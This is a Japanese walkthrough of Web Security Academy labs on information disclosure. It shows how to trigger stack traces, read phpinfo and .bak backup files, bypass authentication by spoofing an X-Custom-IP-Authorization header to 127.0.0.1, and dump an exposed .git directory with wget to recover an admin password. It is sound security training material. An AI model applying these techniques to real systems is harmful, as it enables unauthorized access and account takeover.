# Web Security Academy Information Disclosure
[toc]
## Information disclosure in error messages
`/product?productId=1s`のように`1`に対して`a-zA-Z`でもつければエラーが出ます。
```java
Internal Server Error: java.lang.NumberFormatException: For input string: "1s"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:668)
at java.base/java.lang.Integer.parseInt(Integer.java:786)
at lab.k.a3.x.b.C(Unknown Source)
at lab.q.s.w.b.R(Unknown Source)
at lab.q.s.t.d.j.c(Unknown Source)
at lab.q.s.t.w.lambda$handleSubRequest$0(Unknown Source)
at h.m.u.l.lambda$null$3(Unknown Source)
at h.m.u.l.h(Unknown Source)
at h.m.u.l.lambda$uncheckedFunction$4(Unknown Source)
at java.base/java.util.Optional.map(Optional.java:260)
at lab.q.s.t.w.m(Unknown Source)
at lab.server.y.u.a.V(Unknown Source)
at lab.q.s.z.H(Unknown Source)
at lab.q.s.z.V(Unknown Source)
at lab.server.y.u.c.w.p(Unknown Source)
at lab.server.y.u.c.q.lambda$handle$0(Unknown Source)
at lab.k.h.k.e.e(Unknown Source)
at lab.server.y.u.c.q.O(Unknown Source)
at lab.server.y.u.z.m(Unknown Source)
at h.m.u.l.lambda$null$3(Unknown Source)
at h.m.u.l.h(Unknown Source)
at h.m.u.l.lambda$uncheckedFunction$4(Unknown Source)
at lab.server.c.L(Unknown Source)
at lab.server.y.u.z.f(Unknown Source)
at lab.server.y.e.f.Q(Unknown Source)
at lab.server.y.v.B(Unknown Source)
at lab.server.y.k.B(Unknown Source)
at lab.server.su.P(Unknown Source)
at lab.server.su.z(Unknown Source)
at lab.a.s.lambda$consume$0(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.base/java.lang.Thread.run(Thread.java:833)
Apache Struts 2 2.3.31
```
`Apache Struts 2 2.3.31`を送ったら終了です。
## Information disclosure on debug page
`/cgi-bin/phpinfo.php`にアクセスして、`Ctrl+f`でsecretと検索すればひっかかるので値を入れて終了。
## Source code disclosure via backup files
Burp Suiteのbuilt-in payloadsの`Interesting file and directories`を使うと、`/backup`が存在することがわかります。
`/backup`のレスポンス内で、`/backup/ProductTemplate.java.bak`を発見できるのでこれにアクセスして、ソースコード内からパスワードを取得し、終わりです。
## Authentication bypass via information disclosure
`/my-account?id=wiener`に対して`TRACE`メソッドを使うと、`X-Custom-IP-Authorization: my-global-ip`というヘッダがついていることがわかります。
これをコピーして、`my-global-ip`を`127.0.0.1`にすると、`Admin panel`が表示されることがわかります。

`Admin panel`は、`/admin`であることがレスポンスでわかるので、`/admin`にリクエストを飛ばし、レスポンスからcarlosのデリートを行うエンドポイントを取得します。
`/admin/delete?username=carlos`であることがわかるので送って終わりです。
## Information disclosure in version control history
`/.git`があることがわかります。

```bash
wget -r https://lab/.git
```
でローカルにダウンロードします。
```bash=
git log
commit 1db5f4f2321530df5ac213ed9affc3ae245f6e6e
Author: Carlos Montoya <carlos@evil-user.net>
Date: Mon Jun 22 16:23:42 2020 +0000
Add skeleton admin panel
git show 1db5f4f2321530df5ac213ed9affc3ae245f6e6e
+ADMIN_PASSWORD=mtfxvrugd3vogeloksuy
```
これでadministratorのpasswordを取得し、carlosをデリートして終わりです。